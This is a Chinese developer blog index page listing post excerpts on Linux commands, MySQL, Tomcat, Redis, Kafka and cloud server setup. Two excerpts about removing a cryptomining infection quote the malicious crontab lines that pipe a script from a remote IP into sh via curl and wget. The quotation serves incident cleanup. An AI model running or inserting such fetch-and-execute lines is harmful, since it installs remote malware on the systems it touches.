自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

渡渡鸟的博客

记录工作中的问题

  • 博客(76)
  • 资源 (8)
  • 收藏
  • 关注

原创 常正则表达式【持续更新中】

1.  匹配 “{8位数字}”,查文件大小 例:{53918933} {13918933}[{][0-9]\d{7}[}]2. 最开始以为.* 可以匹配任意字符,后来发现有问题,匹配不了换行符\n查了下资料,用[\s\S]*匹配可以 解释:\s空白符,\S非空白符,所以[\s\S]是任意字符...

2018-02-24 16:56:25 738

原创 项目异常和解决方法【持续更新】

1.查询数据库时,报Cannot create JDBC driver of class '' for connect URL 'xxx.xxx.xxx'是因为配置org.apache.commons.dbcp.BasicDataSource时,没有配置驱动driverClassName,下面是配置例子

2017-10-07 16:09:43 468

原创 收藏文章,工具网站,学习提高[持续更新]

基于Spring + Spring MVC + Mybatis 高性能web构建http://blog.csdn.net/zoutongyuan/article/details/41379851 // spring jar包下载http://repo.springsource.org/libs-release-local/// 转码http://tool.chinaz.co...

2017-09-25 11:22:27 271

原创 linux 工作中用到的命令【持续更新】

强制kill进程firefox 进程名$ pgrep firefox | xargs kill -s 9设置文件可执行chmod +x 文件名设置文件用户组chown richmail:richmail 文件名查看关联 ldd正则匹配 grep移动/重命名 mv打印输出 echo丢弃后台输出 >dev/null查找 find查看端口 netstat -ltpn|...

2017-09-07 16:39:25 341

原创 常用脚本(持续更新)

-- 添加字段alter table web_user_exp add column (esp_number VARCHAR(20) DEFAULT null COMMENT '关联企信号');-- 删除字段alter table web_user_exp drop column esp_number;--修改字段属性ALTER table table_name MODIFY esp_n...

2017-08-25 14:18:48 214

原创 页面实战应用(持续更新)

1.JS中判断null、undefined与NaN的方法判断undefinedvar tmp = undefined; if (typeof(tmp) == "undefined"){ alert("undefined"); } typeof 返回的是字符串,有六种可能:"number"、"string"、"boolean"、"object"、"function"、"und

2017-07-19 09:29:22 244

原创 各类启动报错记录(持续更新)

1).严重: Exception starting filter struts2java.lang.NoSuchFieldError: VERSION_2_3_0七月 11, 2017 3:57:15 下午 org.apache.catalina.core.StandardContext filterStart严重: Exception starting filter struts2java.la...

2017-07-11 16:06:50 448

原创 mysql启动遇到一的些问题(持续更新中)

cd /mysql/support-files/./mysql.server start或stop或reload如果启动失败,要看一下日志日志目录 mysq/log/error.log(如果没有日志,说明没有配置,要在my.cnf里配置error-log的路径)日志记录报错问题1. mysql Could not remove unix socket lock file /**

2017-06-19 16:43:09 631

转载 linux 安装 rz sz 工具

1.软件安装1)编译安装root 账号登陆后,依次执行以下命令:cd /tmpwget http://www.ohse.de/uwe/releases/lrzsz-0.12.20.tar.gztar zxvf lrzsz-0.12.20.tar.gz && cd lrzsz-0.12.20./configure && make && ma...

2018-09-09 19:28:28 1067

转载 堆 栈 对象

对象 谐音 堆象 对象存在堆中1. 栈:存放基本类型 的变量数据和对象的引用,但对象本身不存放在栈中,而是存放在堆(new出来的对象)或者常量池中(字符串常量对象存放的常量池中),局部变量【注意:(方法中的局部变量使用final修饰后,放在堆中,而不是栈中)】栈:当程序进入一个方法时,会为这个方法单独分配一块私属存储空间,用于存储这个方法内部的局部变量,当这个方法结束时,分配给这个方法的栈...

2018-08-30 22:35:12 556

原创 通过命令设置jdk环境变量,可解决jdk设置无效的问题。

1.设置JAVA_HOMESET JAVA_HOME=C:\Program Files\Java\jdk1.8.0_772.设置CLASSPATHSET CLASSPATH=%JAVA_HOME%\lib3.设置PathSET Path=%JAVA_HOME%\bin测试完后的结果java -version例:E:\xxx\xxx\xxx>SET JAVA...

2018-08-15 16:06:23 640

转载 vSphere client 下重装系统或安装系统

1,使用vShere client连接到物理机上面,先选择物理机,选择“配置”--“存储器”—“数据存储”,右键点击选择“浏览数据存储”,就可以上传文件,如下图所示:也可以在物理机上右键,新建虚似机,然后上传镜像。2,将需要安装的centos.iso文件上传上去。3,右键开始创建虚拟机,然后选择安装类型4,输入虚拟机名称5,选择虚拟机文件的目标存储,选择虚拟机的操作系统(Linux系统)6,选择虚...

2018-07-11 14:32:54 24248

转载 阿里云上,安装redis

一、Redis介绍Redis是当前比较热门的NOSQL系统之一,它是一个key-value存储系统。和Memcache类似,但很大程度补偿了Memcache的不足,它支持存储的value类型相对更多,包括string、list、set、zset和hash。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作。在此基础上,Redis支持各种不同方式的排序。和Mem...

2018-07-01 20:53:04 2632

转载 前端开发神一样的工具chrome调试技巧

Chrome浏览器不仅可以调试页面、JS、请求、资源、cookie,还可以模拟手机进行调试。自从使用了Chrome,我就离不开它了。下面整理一下如何使用Chrome进行调试。怎样打开Chrome的开发者工具?直接在页面上点击右键,然后选择审查元素:或者在Chrome的工具中找到:或者,你直接记住这个快捷方式: Ctrl+Shift+I (或者Ctrl+Shift+J直接打开控制台),或者直接按F1...

2018-06-20 13:47:41 435

转载 linux buff/cache过大,清理脚本

三条指令:syncecho 1 > /proc/sys/vm/drop_cachesecho 2 > /proc/sys/vm/drop_cachesecho 3 > /proc/sys/vm/drop_caches执行完这三条指令后通过free -m命令查看,free可用内存马上增多,buff/cache列值变小,说明内存被释放了,但是不能总是手动的执行这三条指令,所以最后写了...

2018-06-20 13:44:53 15776

原创 阿里云上,安装zookeeper

1.解压zookeeper-3.3.6.tar.gzmkdir /home/zookeeper3.3.6tar -xzvf zookeeper-3.3.6.tar.gz -C /home/zookeeper3.3.6升级目录mv * ..2.修改配置文件cd /home/zookepper3.3.6/confcp zoo_sample.cfg zoo.cfgvim zoo.cfg加入或修改这两个配...

2018-06-15 15:17:09 792

原创 阿里云上,tomcat安装过程

1.解压jdkmkdir /home/jdk8tar -xzvf jdk-8u131-linux-x64.tar.gz -C /home/jdk8/mv * .. 提升一下目录2.修改profilevim /etc/profile最后加export JAVA_HOME=/home/jdk8export JRE_HOME=${JAVA_HOME}/jreexport CLASSPATH=.:${JA...

2018-06-14 23:11:38 570

转载 阿里云上,mysql安装过程

1、 找到安装包在服务器 /mnt/software/ 目录下找到安装包mysql-5.6.33-linux-glibc2.5-x86_64.tar.gz进入 /mnt/software/ 目录命令如下:#cd /mnt/software/2、安装 mysql#tar -zxvf mysql-5.6.33-linux-glibc2.5-x86_64.tar.gz#mv mysql-5.6.33-l...

2018-06-12 14:06:52 269

原创 web.xml配置context-param,加载配置文件properties

启动一个WEB项目的时候,容器(如:Tomcat)会去读它的配置文件web.xml.读两个节点: <listener></listener> 和 <context-param></context-param>param-name是键,相当于就是参数名,param-value是值,相当于参数值例:<context-param>    &lt...

2018-06-12 10:09:08 2739

原创 解决挖矿程序(imWBR1,ddg)步骤

Linux 命令估计这两个是定时下载病毒程序的任务# cat  /var/spool/cron/crontabs/root*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh# rm -fr  /var/spool...

2018-06-12 10:08:16 446

原创 apache2.4.33 安装,亲测可用,附安装包

下载有相关的包 pcre-8.20.tar.bz2,apr-1.6.3.tar.gz,apr-util-1.6.1.tar.gz httpd-2.4.33.tar.gzapache安装需要依赖于apr以及apr-util,apr-util安装要有pcre,忆安装,可跳过,但是如果版本不对,会报xml找不到一些变量。1.安装pcretar -xjf pcre-8.20.tar.bz2 -C /us...

2018-05-23 14:44:04 4888

转载 Spring实现分布式事务JTA(使用atomiko实现)

分布式事务是指事务的参与者、支持事务的服务器、资源管理器以及事务管理器分别位于分布系统的不同节点之上,在两个或多个网络计算机资源上访问并且更新数据,将两个或多个网络计算机的数据进行的多次操作作为一个整体进行处理。如不同银行账户之间的转账。       对于在项目中接触到JTA,大部分的原因是因为在项目中需要操作多个数据库,同时,可以保证操作的原子性,保证对多个数据库的操作一致性。       1、...

2018-05-04 17:16:06 175

原创 jconsole链接服务器调试配置方法

链接本地配置jdk配置-Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=8089 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false---------------------------...

2018-04-25 17:25:26 289

原创 mysql 数据库备份,亲测

方法1,sql脚本形式 小数据量时导出数据库表结构mysqldump -uroot -pdbpasswd -d db_name >db.sql;导出数据库中某个表的表结构mysqldump -uroot -pdbpasswd -d db_name table_name >db.sql;导出数据库的表结构和表数据mysqldump -uroot -pdbpasswd db_name &g...

2018-04-03 16:15:22 205

原创 kafka 执行topic迁移到新建的分区(partition)

创建新的topickafka-console-producer.sh --broker-list 127.0.0.1:9092 --topic test1kafka-console-producer.sh --broker-list 127.0.0.1:9092 --topic test2kafka-console-producer.sh --broker-list 127.0.0.1:9092 ...

2018-04-02 17:14:15 1180

原创 清除挖矿程序(imWBR1,ddg,wipefs),亲测可用

Linux 命令估计这两个是定时下载病毒程序的任务# cat  /var/spool/cron/crontabs/root*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh# rm -fr  /var/spool...

2018-03-30 13:29:35 1887

原创 自己环境部署记录2018年3月29日16:14:22

1.启动mysql服务 systemctl start mysqld.service查看mysql服务状态systemctl status mysqld.service2.启动dubbodubbo解压后上传到tomcat/webapps/目录下面dubbo启动要有zookeeper支持,启动dubbo之前要配置dubbo代码里的WEB-INFO/dubbo.properties文件,设置zooke...

2018-03-29 17:18:57 196

原创 redis 缓存文件,整个页面缓存redis可参考

读一个mht的页面文件,存到redis里,之后读出来,输出到另一个目录。https://download.csdn.net/download/taozhe666/10302319

2018-03-22 15:15:44 4262

原创 idea打jar包,可执行(亲测)

1.project structure->加->jar->from model with dependencies....2.output root -> create Directory -> 创建lib目录3.把jar包放入jar目录4.选择打的jar包->main class(选择程序入口)->class path(把要用到的jar写入)

2018-02-04 13:00:05 378

原创 Math.random() 范围算法

500-100 = 400; //Math.random()只能生成0~1的小数; //toFixed(2)保留2位小数 var num = Math.random().toFixed(2)*400 + 100;System.out.println((int)(4000 * Math.random() +  1000)); 1000-5000之间System.out.println((int)(5...

2018-01-17 11:27:24 4361

转载 mysql 锁表,解锁

-- 查看那些表锁到了show OPEN TABLES where In_use > 0;-- 查看进程号show processlist;--删除进程 kill 1085850;processlist是系统表查询带条件select * from information_schema.processlist where  DB = 'cmail';

2017-12-27 13:39:10 216

转载 过省 tomcat shutdown后,进程还存在linux系统中的解决办法

基本原理为启动tomcat时记录启动tomcat的进程id(pid),关闭时强制杀死该进程 第一步 :vim修改tomcat下bin/catalina.sh文件,添加点东西,主要是记录tomcat的pid,如下:#设置记录CATALINA_PID。#该设置会在启动时候bin下新建一个CATALINA_PID文件#关闭时候从CATALINA_PID文件找到pid,

2017-12-26 15:31:33 714

原创 ImportError: No module named redis 安装redis库

[root@master soft]# unzip redis-py-master.zip -d /usr/local/redis  [root@master soft]# cd /usr/local/redis  [root@master redis]# ll  total 4  drwxr-xr-x 7 root root 4096 Nov  4 02:40 redis-py-

2017-12-18 23:36:15 3120

原创 日期格式化yyyy年MM月dd日aHH:mm

例1.这里的时间本身就是错的,12和24小时混用 所以HH是大写,如果小写,就到30号了                 SimpleDateFormat formatter = new SimpleDateFormat("yyyy年MM月dd日aHH:mm");// "yyyy-MM-dd HH:mm:ss");  System.out.println(formatter.parse

2017-11-29 14:35:40 6998 1

转载 MyBatis 通过包含的jdbcType类型

BIT         FLOAT      CHAR           TIMESTAMP       OTHER       UNDEFINEDTINYINT     REAL       VARCHAR        BINARY          BLOB        NVARCHARSMALLINT    DOUBLE     LONGVARCHAR    VARBINARY

2017-11-08 10:33:10 273

转载 用jdk自带工具javap查看class信息(编译版本)

cmd 进入class目录, javap -verbose classname会输出一些信息,大致如下:Compiled from "HtmlCrawer.java"public class org.eagleeye.html.HtmlCrawer extends java.lang.ObjectSourceFile: "HtmlCrawer.java"

2017-11-01 13:48:36 3682

原创 指定tomcat所使用的jdk版本,启动时报run Tomcat on Java XXX

tomcat 启动时报 JSR 356 WebSocket (Java WebSocket 1.0) support is not available when running on Java 6. To suppress this message, run Tomcat on Java 7解决方法:安装匹配版本的jdk,然后在tomcat目录下修改两个文件 startup.sh,se

2017-10-18 14:53:07 1005

原创 java 读取eml文件附件方法(附件为base64转码)

strEmailEml为eml文件,通过postMethod.getResponseBodyAsString()获取字符串/*** 创建amr文件* @param file * @param strEmailEml* @throws Exception */private static void createAmrFile(String strEmailEm

2017-10-12 10:21:33 3766 1

原创 maven项目报错:Resource Path Location Type Project configuration is not up-to-date with pom.xml

右键项目,【Maven】-->【Update Project Configuration...】/ update project ... (ALT+F5)

2017-10-08 11:07:21 280

转载 Cannot change version of project facet Dynamic web module to 2.5

在Eclipse中新建了一个web项目,但是项目上报错,有红色小叉叉,但是展开项目,子项目上并没有报错,单是这样看的话找不到错误在哪里。打开Markers窗口,提示pom.xml文件有错,但是无论怎么改都不起作用,这个问题让人很无语,知道有错,但却不知道该怎么改。不过,在伟大的江江同学的帮助下,最后终于解决了。原来是这样的:我们用Eclipse创建Maven结构的web项目的时候选择了Ar

2017-10-08 10:23:09 210

rubyinstaller-devkit-2.5.1-1-x64.zip

rubyinstaller-devkit-2.5.1-1-x64.rar,rubyinstaller-devkit

2019-06-09

ISOCmdX 绿色免安装 虚拟光驱

可以安装、打开iso文件,绿色免安装,非常好用,简单,打开软件,挂载iso文件,就可以在根目录里打开,然后安装。

2019-02-01

radmin 局域网管理工具超好用

radmin 局域网超好用 本来可以提供远程功能,但不知道为什么链接不上 可以研究研究 应该是使用不正确 纯免费 比teamviewer好用

2018-06-14

apach2.4.33安装包和配套环境

相关的包 pcre-8.20.tar.bz2,apr-1.6.3.tar.gz,apr-util-1.6.1.tar.gz httpd-2.4.33.tar.gz,结合我的文章可以顺利安装完成

2018-05-23

提供给博客引用代码文件

提供给博客引用代码文件 redis 缓存文件 redis 缓存文件 redis 缓存文件

2018-03-22

python redis库

python redis库 [root@master soft]# unzip redis-py-master.zip -d /usr/local/redis [root@master soft]# cd /usr/local/redis [root@master redis]# ll total 4 drwxr-xr-x 7 root root 4096 Nov 4 02:40 redis-py-master [root@master redis]# cd redis-py-master/ [root@master redis-py-master]# sudo python setup.py install

2017-12-18

quartz 定时任务jar包

quartz 定时任务jar包 亲测试可用 &lt;!-- 定时间任务job --&gt; &lt;!-- 定义目标bean和bean中的方法 --&gt; <bean id="SpringQtzJob" class="com.richmail.service.impl.QueryJobImpl"/> <bean id="SpringQtzJobMethod" class="org.springframework.scheduling.quartz.MethodInvokingJobDetailFactoryBean"> <property name="targetObject"> <ref bean="SpringQtzJob" /> </property> <property name="targetMethod"> &lt;!-- 要执行的方法名称 --&gt; <value>jobMethod</value> </property> </bean> &lt;!-- ======================== 调度触发器 ======================== --&gt; <bean id="CronTriggerBean" class="org.springframework.scheduling.quartz.CronTriggerBean"> <property name="jobDetail" ref="SpringQtzJobMethod"></property> <property name="cronExpression" value="0/5 * * * * ?"></property> </bean> &lt;!-- ======================== 调度工厂 ======================== --&gt; <bean id="SpringJobSchedulerFactoryBean" class="org.springframework.scheduling.quartz.SchedulerFactoryBean"> <property name="triggers"> <list> <ref bean="CronTriggerBean" /> </list> </property> </bean>

2017-10-09

layer所需js文件static_js.zip

layer所需js文件static_js.zip

2017-08-01

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除